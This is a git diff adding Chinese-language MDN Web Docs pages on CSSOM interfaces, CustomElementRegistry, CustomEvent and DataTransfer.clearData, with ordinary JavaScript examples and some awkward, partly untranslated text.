diff --git a/files/zh-cn/web/api/csssupportsrule/index.html b/files/zh-cn/web/api/csssupportsrule/index.html new file mode 100644 index 0000000000..2bea90d1bb --- /dev/null +++ b/files/zh-cn/web/api/csssupportsrule/index.html @@ -0,0 +1,103 @@ +--- +title: CSSSupportsRule +slug: Web/API/CSSSupportsRule +translation_of: Web/API/CSSSupportsRule +--- +

{{APIRef("CSSOM")}}

+ +

CSSSupportsRule 接口描述了代表一个 CSS 对象{{cssxref("@supports")}} at-rule. 它实现了 {{domxref("CSSConditionRule")}} 接口, 因此 {{domxref("CSSRule指定规则")}} 和{{domxref("CSSGroupingRule")}} 用一个类型值接口 12 (CSSRule.SUPPORTS_RULE).

+ +

句法

+ +

该语法使用所描述的WebIDL 格式.

+ +
接口 CSSSupportsRule : CSSConditionRule {
+}
+
+ +

性能

+ +

作为{{domxref("CSSConditionRule")}} 因此一个 {{domxref("CSSRule指定规则")}} and和一{{domxref("CSSGroupingRule")}}, CSSSupportsRule 还实现了,这些接口的属性。它没有特定的属性

+ +

方法

+ +

作为{{domxref("CSSConditionRule")}} 因此一个 {{domxref("CSSRule指定规则")}}和{{domxref("CSSGroupingRule")}}, CSSSupportsRule 也实现了这个接口的方法。他没有具体属性的方法

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('CSS3 Conditional', '#the-csssupportsrule-interface', 'CSSSupportsRule') }}{{ Spec2('CSS3 Conditional') }}初始定义
+ +

游览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatGeckoDesktop("17")}}[1]{{CompatNo}}12.10{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile("17")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 作为前叠这规则是没有意义的 CSSSupportsRule 只支持,如果用户可以通过设置配置的值ilayout.css.supports-rule.enable 的真实.

+ +

从Firefox 17到 Firefox 19 在内, CSSSupportsRule 直接来自 CSSRule 的方法和属性定义在 CSSConditionRule现在的水平,在 CSSSupportsRule定义.该规范草案改变了,并已更新了 Firefox 20 was updated.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/cssvalue/index.html b/files/zh-cn/web/api/cssvalue/index.html new file mode 100644 index 0000000000..f983b5a1ba --- /dev/null +++ b/files/zh-cn/web/api/cssvalue/index.html @@ -0,0 +1,78 @@ +--- +title: CSSValue +slug: Web/API/CSSValue +tags: + - API + - CSS + - CSSValue + - 参考 + - 接口 +translation_of: Web/API/CSSValue +--- +
{{APIRef("DOM")}}
+ +
CSSValue 接口表示经过计算的当前 CSS 属性值。
+ +

属性

+ +
+
{{domxref("CSSValue.cssText")}}
+
{{domxref("DOMString")}} 代表当前值。
+
{{domxref("CSSValue.cssValueType")}} {{readonlyInline}}
+
一个 unsigned short 类型的数据用来定义了值的类型。 可取值为: + + + + + + + + + + + + + + + + + + + + + + + +
说明
CSS_CUSTOM该值是一个自定义值。
CSS_INHERIT该值是继承来的值,并且它的 cssText 属性值中包含"inherit"
CSS_PRIMITIVE_VALUE该值是一个原始值,并且是 {{domxref("CSSPrimitiveValue")}} 接口的一个实例,可以通过绑定特殊的构造方法在这个CSSValue接口的这个实例来获得。
CSS_VALUE_LIST该值是一个 CSSValue 列表,是{{domxref("CSSValueList")}} 接口的一个实例,可以通过绑定特殊的构造方法在这个CSSValue接口的这个实例来获得。
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM2 Style', 'css.html#CSS-CSSValue', 'CSSValue')}}{{Spec2('DOM2 Style')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSValue")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssvaluelist/index.html b/files/zh-cn/web/api/cssvaluelist/index.html new file mode 100644 index 0000000000..ba94f210d0 --- /dev/null +++ b/files/zh-cn/web/api/cssvaluelist/index.html @@ -0,0 +1,68 @@ +--- +title: CSSValueList +slug: Web/API/CSSValueList +tags: + - API + - CSS + - DOM + - 参考 + - 接口 +translation_of: Web/API/CSSValueList +--- +
{{APIRef("DOM")}}
+ +

The CSSValueList 接口继承自 {{domxref("CSSValue")}} 接口,提供一个经过排序的 CSS 值的抽象集合。

+ +

一些属性允许在它们的语法中使用空的列表。这时,these properties take the none identifier. So, an empty list means that the property has the value none.

+ +

The items in the CSSValueList are accessible via an integral index, starting from 0.

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

从它的父接口 {{domxref("CSSValue")}} 继承属性。

+ +
+
{{domxref("CSSValueList.length")}} {{readonlyInline}}
+
一个 unsigned long 数值,表示此列表中 CSSValues 的个数。
+
+ +

方法

+ +
+
{{domxref("CSSValueList.item()")}}
+
This method is used to retrieve a {{domxref("CSSValue")}} by ordinal index. The order in this collection represents the order of the values in the CSS style property. If index is greater than or equal to the number of values in the list, this returns null.
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM2 Style', 'css.html#CSS-CSSValuesList', 'CSSValuesList')}}{{Spec2('DOM2 Style')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.CSSValueList")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssvaluelist/length/index.html b/files/zh-cn/web/api/cssvaluelist/length/index.html new file mode 100644 index 0000000000..ffec823987 --- /dev/null +++ b/files/zh-cn/web/api/cssvaluelist/length/index.html @@ -0,0 +1,46 @@ +--- +title: CSSValueList.length +slug: Web/API/CSSValueList/length +tags: + - API + - CSS + - CSSValueList +translation_of: Web/API/CSSValueList/length +--- +
{{APIRef("DOM")}}
+ +

{{domxref("CSSValueList")}} 接口的只读属性 length 表示列表中的 {{domxref("CSSValue")}} 数量。有效的索引区间为 0length-1

+ +

语法

+ +
var length = cssValueList.length;
+
+ +

+ +

一个 unsigned long 数值,表示此列表中 {{domxref("CSSValue")}} 的个数。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM2 Style', 'css.html#CSS-CSSValueList-length', 'CSSValueList.length')}}{{Spec2('DOM2 Style')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.CSSValueList.length")}}

+
diff --git "a/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" "b/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" new file mode 100644 index 0000000000..ff1d047a59 --- /dev/null +++ "b/files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" @@ -0,0 +1,65 @@ +--- +title: CSS分页规则 +slug: Web/API/CSS分页规则 +translation_of: Web/API/CSSPageRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSPageRule  是代表一个css接口 {{cssxref("@page")}} 规则. 它实现了 {{domxref("CSSRule")}} 类型值为6的接口 (CSSRule.PAGE_RULE).

+ +

语法

+ +

这个语法是使用 WebIDL 格式.

+ +
interface CSSPageRule : CSSRule {
+  attribute DOMString selectorText;
+  readonly attribute CSSStyleDeclaration style;
+};
+
+ +

Properties

+ +

 {{domxref("CSSRule")}}, CSSPageRule 也实现了此接口的属性。 它具有以下特定属性:

+ +
+
{{domxref("CSSPageRule.selectorText")}}
+
表示与规则关联的页面选择器的文本。
+
{{domxref("CSSPageRule.style")}} {{readonlyinline}}
+
返回与规则关联的声明块。
+
+ +

Methods

+ +

作为 {{domxref("CSSRule")}}, CSSPageRule 的CSSPageRule还实现了该接口的方法。 它没有具体方法。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('CSSOM', '#the-csspagerule-interface', 'CSSPageRule')}}{{Spec2('CSSOM')}} +

没有变化 {{SpecName('DOM2 Style')}}

+
{{SpecName('DOM2 Style', 'css.html#CSS-CSSPageRule', 'CSSPageRule')}}{{Spec2('DOM2 Style')}}初始定义
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSPageRule")}}

diff --git a/files/zh-cn/web/api/customelementregistry/define/index.html b/files/zh-cn/web/api/customelementregistry/define/index.html new file mode 100644 index 0000000000..b03cdd8e54 --- /dev/null +++ b/files/zh-cn/web/api/customelementregistry/define/index.html @@ -0,0 +1,205 @@ +--- +title: CustomElementRegistry.define() +slug: Web/API/CustomElementRegistry/define +tags: + - API + - CustomElementRegistry + - Web Components + - custom elements +translation_of: Web/API/CustomElementRegistry/define +--- +

{{APIRef("CustomElementRegistry")}}

+ +

{{domxref("CustomElementRegistry")}}接口的define()方法定义了一个自定义元素。

+ +

你可以创建两种类型的自定义元素:

+ + + +

语法

+ +
customElements.define(name, constructor, options);
+
+ +

参数

+ +
+
name
+
自定义元素名.
+
constructor
+
自定义元素构造器.
+
options {{optional_inline}}
+
控制元素如何定义. 目前有一个选项支持: +
    +
  • extends. 指定继承的已创建的元素. 被用于创建自定义元素.
  • +
+
+
+ +

返回值

+ +

+ +

示例

+ +

自主定制元素

+ +

以下代码取自我们的 popup-info-box-web-component 示例(see it live also)。

+ +
// Create a class for the element
+class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create spans
+    var wrapper = document.createElement('span');
+    wrapper.setAttribute('class','wrapper');
+    var icon = document.createElement('span');
+    icon.setAttribute('class','icon');
+    icon.setAttribute('tabindex', 0);
+    var info = document.createElement('span');
+    info.setAttribute('class','info');
+
+    // Take attribute content and put it inside the info span
+    var text = this.getAttribute('text');
+    info.textContent = text;
+
+    // Insert icon
+    var imgUrl;
+    if(this.hasAttribute('img')) {
+      imgUrl = this.getAttribute('img');
+    } else {
+      imgUrl = 'img/default.png';
+    }
+    var img = document.createElement('img');
+    img.src = imgUrl;
+    icon.appendChild(img);
+
+    // Create some CSS to apply to the shadow dom
+    var style = document.createElement('style');
+
+    style.textContent = '.wrapper {' +
+                           'position: relative;' +
+                        '}' +
+
+                         '.info {' +
+                            'font-size: 0.8rem;' +
+                            'width: 200px;' +
+                            'display: inline-block;' +
+                            'border: 1px solid black;' +
+                            'padding: 10px;' +
+                            'background: white;' +
+                            'border-radius: 10px;' +
+                            'opacity: 0;' +
+                            'transition: 0.6s all;' +
+                            'position: absolute;' +
+                            'bottom: 20px;' +
+                            'left: 10px;' +
+                            'z-index: 3;' +
+                          '}' +
+
+                          'img {' +
+                            'width: 1.2rem' +
+                          '}' +
+
+                          '.icon:hover + .info, .icon:focus + .info {' +
+                            'opacity: 1;' +
+                          '}';
+
+    // attach the created elements to the shadow dom
+
+    shadow.appendChild(style);
+    shadow.appendChild(wrapper);
+    wrapper.appendChild(icon);
+    wrapper.appendChild(info);
+  }
+}
+
+// Define the new element
+customElements.define('popup-info', PopUpInfo);
+ +
<popup-info img="img/alt.png" text="Your card validation code (CVC) is an extra
+                                    security feature — it is the last 3 or 4
+                                    numbers on the back of your card.">
+ +
+

注意:自主自定义元素的构造函数必须扩展{{domxref("HTMLElement")}}。

+
+ +

自定义内置元素

+ +

以下代码取自我们的 word-count-web-component 实例 (查看实例效果).

+ +
// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+ +
<p is="word-count"></p>
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#dom-customelementregistry-define", "customElements.define()")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.CustomElementRegistry.define")}}

diff --git a/files/zh-cn/web/api/customelementregistry/get/index.html b/files/zh-cn/web/api/customelementregistry/get/index.html new file mode 100644 index 0000000000..5b6cb1b564 --- /dev/null +++ b/files/zh-cn/web/api/customelementregistry/get/index.html @@ -0,0 +1,72 @@ +--- +title: CustomElementRegistry.get() +slug: Web/API/CustomElementRegistry/get +tags: + - CustomElementRegistry + - Experimental + - Web Components + - custom elements +translation_of: Web/API/CustomElementRegistry/get +--- +

{{APIRef("CustomElementRegistry")}}

+ +

 {{domxref("CustomElementRegistry")}} 的get()方法返回以前定义自定义元素的构造函数.

+ +

语法

+ +
constructor = customElements.get(name);
+
+ +

参数

+ +
+
name
+
你想要返回引用的构造函数的自定义元素的名字。
+
+ +

返回值

+ +

指定名字的自定义元素的构造函数,如果没有使用该名称的自定义元素定义,则为undefined

+ +

例子

+ +
customElements.define('my-paragraph',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      let template = document.getElementById('my-paragraph');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(templateContent.cloneNode(true));
+  }
+})
+
+// Return a reference to the my-paragraph constructor
+let ctor = customElements.get('my-paragraph');
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#dom-customelementregistry-get", "customElements.get()")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.CustomElementRegistry.get")}}

+
diff --git a/files/zh-cn/web/api/customelementregistry/index.html b/files/zh-cn/web/api/customelementregistry/index.html new file mode 100644 index 0000000000..4a2279fbdf --- /dev/null +++ b/files/zh-cn/web/api/customelementregistry/index.html @@ -0,0 +1,92 @@ +--- +title: CustomElementRegistry +slug: Web/API/CustomElementRegistry +tags: + - API + - CustomElementRegistry + - Interface + - Web Components +translation_of: Web/API/CustomElementRegistry +--- +
{{DefaultAPISidebar("Web Components")}}
+ +

CustomElementRegistry接口提供注册自定义元素和查询已注册元素的方法。要获取它的实例,请使用 {{domxref("window.customElements")}}属性。

+ +

方法

+ +
+
{{domxref("CustomElementRegistry.define()")}}
+
定义一个新的自定义元素
+
{{domxref("CustomElementRegistry.get()")}}
+
返回指定自定义元素的构造函数,如果未定义自定义元素,则返回undefined
+
{{domxref("CustomElementRegistry.upgrade()")}}
+
Upgrades a custom element directly, even before it is connected to its shadow root.
+
{{domxref("CustomElementRegistry.whenDefined()")}}
+
返回当使用给定名称定义自定义元素时将会执行的 {{jsxref("Promise", "promise")}}。(如果已经定义了这样一个自定义元素,那么立即执行返回的 promise。)
+
+ +

示例

+ +

以下代码来自我们的 word-count-web-component 示例(see it live also)。 请注意我们如何使用 {{domxref("CustomElementRegistry.define()")}} 方法在创建其类后定义自定义元素。

+ +
// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "custom-elements.html#customelementregistry", "CustomElementRegistry")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.CustomElementRegistry")}}

diff --git a/files/zh-cn/web/api/customelementregistry/upgrade/index.html b/files/zh-cn/web/api/customelementregistry/upgrade/index.html new file mode 100644 index 0000000000..412485c9d6 --- /dev/null +++ b/files/zh-cn/web/api/customelementregistry/upgrade/index.html @@ -0,0 +1,64 @@ +--- +title: CustomElementRegistry.upgrade() +slug: Web/API/CustomElementRegistry/upgrade +translation_of: Web/API/CustomElementRegistry/upgrade +--- +

{{APIRef("CustomElementRegistry")}}

+ +

CustomElementRegistry接口的upgrade()方法将更新节点子树中所有包含阴影的自定义元素,甚至在它们连接到主文档之前也是如此。

+ +

语法

+ +
customElements.upgrade(root);
+
+ +

参数

+ +
+
root
+
待升级的包含阴影的派生元素节点 。如果没有可升级的派生实例,则不会抛出异常。
+
+ +

返回值

+ +

空.

+ +

示例

+ +

摘至HTML 规范:

+ +
const el = document.createElement("spider-man");
+
+class SpiderMan extends HTMLElement {}
+customElements.define("spider-man", SpiderMan);
+
+console.assert(!(el instanceof SpiderMan)); // not yet upgraded
+
+customElements.upgrade(el);
+console.assert(el instanceof SpiderMan);    // upgraded!
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#dom-customelementregistry-upgrade", "customElements.upgrade()")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器支持

+ +
+ + +

{{Compat("api.CustomElementRegistry.upgrade")}}

+
diff --git a/files/zh-cn/web/api/customelementregistry/whendefined/index.html b/files/zh-cn/web/api/customelementregistry/whendefined/index.html new file mode 100644 index 0000000000..8c5452386d --- /dev/null +++ b/files/zh-cn/web/api/customelementregistry/whendefined/index.html @@ -0,0 +1,100 @@ +--- +title: CustomElementRegistry.whenDefined() +slug: Web/API/CustomElementRegistry/whenDefined +translation_of: Web/API/CustomElementRegistry/whenDefined +--- +

{{APIRef("CustomElementRegistry")}}

+ +

 当一个元素被定义时{{domxref("CustomElementRegistry")}} 中的方法whenDefined() 接口返回  {{jsxref("Promise")}}.

+ +

语法

+ +
Promise<> customElements.whenDefined(name);
+ +

参数

+ +
+
name
+
自定义元素的名称
+
+ +

返回值

+ +

当自定义元素被定义时一个{{jsxref("Promise")}} 返回{jsxref("undefined")}}. 如果自定义元素已经被定义,则resolve立即执行。

+ +
+
+ +

例外

+ + + + + + + + + + + + + + +
ExceptionDescription
SyntaxError如果提供的 name 不是一个有效的 自定义元素名字, promise 的 reject 回调会接收到一个 SyntaxError.
+ +

例子

+ +

这个例子使用whenDefined() 来检测生成菜单的自定义元素何时被定义. 这个菜单显示占位符内容一直到菜单内容已经准备好显示.

+ +
<nav id="menu-container">
+  <div class="menu-placeholder">Loading...</div>
+  <nav-menu>
+    <menu-item>Item 1</menu-item>
+    <menu-item>Item 2</menu-item>
+     ...
+    <menu-item>Item N</menu-item>
+  </nav-menu>
+</nav>
+
+ +
const container = document.getElementById('menu-container');
+const placeholder = container.querySelector('.menu-placeholder');
+// Fetch all the children of menu that are not yet defined.
+const undefinedElements = container.querySelectorAll(':not(:defined)');
+
+const promises = [...undefinedElements].map(
+  button => customElements.whenDefined(button.localName)
+);
+
+// Wait for all the children to be upgraded,
+// then remove the placeholder.
+await Promise.all(promises);
+container.removeChild(placeholder);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#dom-customelementregistry-define", "customElements.whenDefined()")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.CustomElementRegistry.whenDefined")}}

+
+
diff --git a/files/zh-cn/web/api/customevent/customevent/index.html b/files/zh-cn/web/api/customevent/customevent/index.html new file mode 100644 index 0000000000..e9428f608e --- /dev/null +++ b/files/zh-cn/web/api/customevent/customevent/index.html @@ -0,0 +1,114 @@ +--- +title: CustomEvent() +slug: Web/API/CustomEvent/CustomEvent +translation_of: Web/API/CustomEvent/CustomEvent +--- +

{{APIRef("DOM")}}

+ +

The CustomEvent() constructor creates a new {{domxref("CustomEvent")}}.

+ +

构造方法 CustomerEvent() 创建一个新的 {{domxref("CustomEvent")}} 对象。

+ +

Syntax 语法

+ +
 event = new CustomEvent(typeArg, customEventInit);
+ +

Values 参数

+ +
+
typeArg
+
Is a {{domxref("DOMString")}} representing the name of the event.
+
一个表示 event 名字的字符串
+
customEventInit{{optional_inline}}
+
+ +
+
Is a CustomEventInit dictionary, having the following fields:  一个字典类型参数,有如下字段 + +
    +
  • "detail", optional and defaulting to null, of type any, that is a event-dependant value associated with the event.   可选的默认值是 null 的任意类型数据,是一个与 event 相关的值
  • +
  • bubbles 一个布尔值,表示该事件能否冒泡。 来自 {{domxref("Event.Event", "EventInit")}}。注意:测试chrome默认为不冒泡。
  • +
  • cancelable 一个布尔值,表示该事件是否可以取消。 来自 {{domxref("Event.Event", "EventInit")}}
  • +
+ +
+

The CustomEventInit dictionary also accepts fields from the {{domxref("Event.Event", "EventInit")}} dictionary.

+ +

CustomerEventInit 字典参数同样接受来自于 Event 类构造函数的 eventInit 字典参数,如下

+ +

bubbles   一个布尔值,表示该事件能否冒泡

+ +

cancelable  一个布尔值,表示该事件是否可以取消

+
+
+
+ +

Example

+ +
// add an appropriate event listener
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// create and dispatch the event
+var event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-customevent()','CustomEvent()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.CustomEvent.CustomEvent")}}

+ +

Polyfill

+ +

You can polyfill the CustomEvent() constructor functionality in Internet Explorer 9 and higher with the following code:

+ +
(function(){
+    try{
+        // a : While a window.CustomEvent object exists, it cannot be called as a constructor.
+        // b : There is no window.CustomEvent object
+        new window.CustomEvent('T');
+    }catch(e){
+        var CustomEvent = function(event, params){
+            params = params || { bubbles: false, cancelable: false, detail: undefined };
+
+            var evt = document.createEvent('CustomEvent');
+
+            evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
+
+            return evt;
+        };
+
+        CustomEvent.prototype = window.Event.prototype;
+
+        window.CustomEvent = CustomEvent;
+    }
+})();
+ +

See also

+ + diff --git a/files/zh-cn/web/api/customevent/detail/index.html b/files/zh-cn/web/api/customevent/detail/index.html new file mode 100644 index 0000000000..c70a7655bf --- /dev/null +++ b/files/zh-cn/web/api/customevent/detail/index.html @@ -0,0 +1,68 @@ +--- +title: CustomEvent.detail +slug: Web/API/CustomEvent/detail +translation_of: Web/API/CustomEvent/detail +--- +

{{APIRef("DOM")}}

+ +

接口 {{domxref("CustomEvent")}} 的只读属性 detail (详情)返回在初始化事件对象时传递过来的任何类型数据。

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
 let myDetail = customEventInstance.detail;
+ +

Return value

+ +

事件对象初始化时传递的任何类型数据。

+ +

Example

+ +
// add an appropriate event listener
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// create and dispatch the event
+let event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);
+
+// Will return an object contaning the hazcheeseburger property
+let myDetail = event.detail;
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-customeventinit-detail','detail')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.CustomEvent.detail")}}

+ +

See also

+ + + +

 

diff --git a/files/zh-cn/web/api/customevent/index.html b/files/zh-cn/web/api/customevent/index.html new file mode 100644 index 0000000000..150dcc5ac3 --- /dev/null +++ b/files/zh-cn/web/api/customevent/index.html @@ -0,0 +1,148 @@ +--- +title: CustomEvent +slug: Web/API/CustomEvent +translation_of: Web/API/CustomEvent +--- +

{{APIRef("DOM")}}

+ +

CustomEvent 事件是由程序创建的,可以有任意自定义功能的事件。

+ +

{{AvailableInWorkers}}

+ +

构造函数

+ +

{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}  创建一个自定义事件。

+ +

属性

+ +

{{domxref("CustomEvent.detail")}} {{readonlyinline}} 任何时间初始化时传入的数据

+ +

此接口从父接口继承属性, {{domxref("Event")}}:

+ +

{{Page("/en-US/docs/Web/API/Event", "Properties")}}

+ +

方法

+ +

 

+ +
+
{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}
+
+

初始化一个CustomEvent 对象.如果事件已经被触发,这个方法不起任何作用.

+
+
+ +

此接口从父接口继承方法, {{domxref("Event")}}:

+ +

{{Page("/en-US/docs/Web/API/Event", "Methods")}}

+ +

 

+ +

方法概述

+ + + + + + + +
void initCustomEvent(in DOMString type, in boolean canBubble, in boolean cancelable, in any detail);
+ +

属性

+ + + + + + + + + + + + + + +
AttributeTypeDescription
detailany当事件初始化时传递的数据
+ +

方法

+ +

initCustomEvent()

+ +

初始化一个自定义事件的方式和初始化一个标准DOM事件的方式非常相似.

+ +
void initCustomEvent(
+  in DOMString type,
+  in boolean canBubble,
+  in boolean cancelable,
+  in any detail
+);
+
+ +

参数

+ +
+
type
+
事件的类型名称.
+
canBubble
+
一个布尔值,表明该事件是否会冒泡.
+
cancelable
+
一个布尔值,表明该事件是否可以被取消.
+
detail
+
当事件初始化时传递的数据.
+
+ +

构造函数

+ +

DOM4 规范 添加了对 CustomEvent 构造函数的支持.

+ +
CustomEvent(
+  DOMString type,
+  optional CustomEventInit eventInitDict
+)
+
+ +

参数

+ +
+
type
+
事件的类型名称.
+
eventInitDict
+
一个对象,提供了事件的配置信息.查看CustomEventInit了解更多详情.
+
+ +

CustomEventInit

+ +
+
bubbles
+
一个布尔值,表明该事件是否会冒泡.
+
cancelable
+
一个布尔值,表明该事件是否可以被取消.
+
detail
+
当事件初始化时传递的数据.
+
+ +

CustomEvent用法示例

+ +

+ +
// 添加一个适当的事件监听器
+obj.addEventListener("cat", function(e) { process(e.detail) })
+
+// 创建并分发事件
+var event = new CustomEvent("cat", {"detail":{"hazcheeseburger":true}})
+obj.dispatchEvent(event)
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.CustomEvent")}}

+ +

规范

+ + diff --git a/files/zh-cn/web/api/customevent/initcustomevent/index.html b/files/zh-cn/web/api/customevent/initcustomevent/index.html new file mode 100644 index 0000000000..2b8b12aea8 --- /dev/null +++ b/files/zh-cn/web/api/customevent/initcustomevent/index.html @@ -0,0 +1,110 @@ +--- +title: CustomEvent.initCustomEvent() +slug: Web/API/CustomEvent/initCustomEvent +translation_of: Web/API/CustomEvent/initCustomEvent +--- +

{{APIRef("DOM")}}{{deprecated_header}}

+ +

CustomEvent.initCustomEvent() 方法初始化了一个 CustomEvent object. 如果该事件已经被分发出去,则不会在初始化过程中重复触发.

+ +

这类对象一定是由 {{ domxref("Document.createEvent()") }} 方法创建的. 该方法被分发之前必须通过{{ domxref("EventTarget.dispatchEvent()") }}方法设置.一旦被分发则,则无法被重新设置.

+ +
+

该方法已经作废,不要在新项目中继续使用该方法.

+ +

Instead use specific event constructors, like {{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}. The page on Creating and triggering events gives more information about the way to use these.

+
+ +

Syntax

+ +
event.initCustomEvent(type, canBubble, cancelable, detail);
+
+ +

Parameters

+ +
+
type
+
类型{{domxref("DOMString")}},事件名称.
+
canBubble
+
类型{{jsxref("Boolean")}},事件是否沿着dom树向上冒泡.
+
cancelable
+
类型{{jsxref("Boolean")}},事件是否可取消.
+
detail
+
事件初始化时传入的数据.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-customevent-initcustomevent','CustomEvent')}}{{Spec2('DOM WHATWG')}}Initial definition, but already deprecated in favor of the use of a constructor, {{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatGeckoDesktop(6)}}9115.1 (533.3)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatGeckoMobile(6)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/datatransfer/cleardata/index.html b/files/zh-cn/web/api/datatransfer/cleardata/index.html new file mode 100644 index 0000000000..66f518db63 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/cleardata/index.html @@ -0,0 +1,237 @@ +--- +title: DataTransfer.clearData() +slug: Web/API/DataTransfer/clearData +tags: + - DataTransfer.clearData() +translation_of: Web/API/DataTransfer/clearData +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransfer.clearData() 方法删除给定类型的拖动操作的{{domxref("DataTransfer","drag data")}}。如果给定类型的数据不存在,则此方法不执行任何操作。

+ +

如果没有参数调用此方法,或者格式为空 ,则将删除所有类型的数据。

+ +

此方法不会从拖动操作中删除文件,因此如果有任何文件包含在对象的{{domxref("DataTransfer.types")}}列表中,仍然可能有一个类型为“Files”的条目在拖动。 

+ +
+

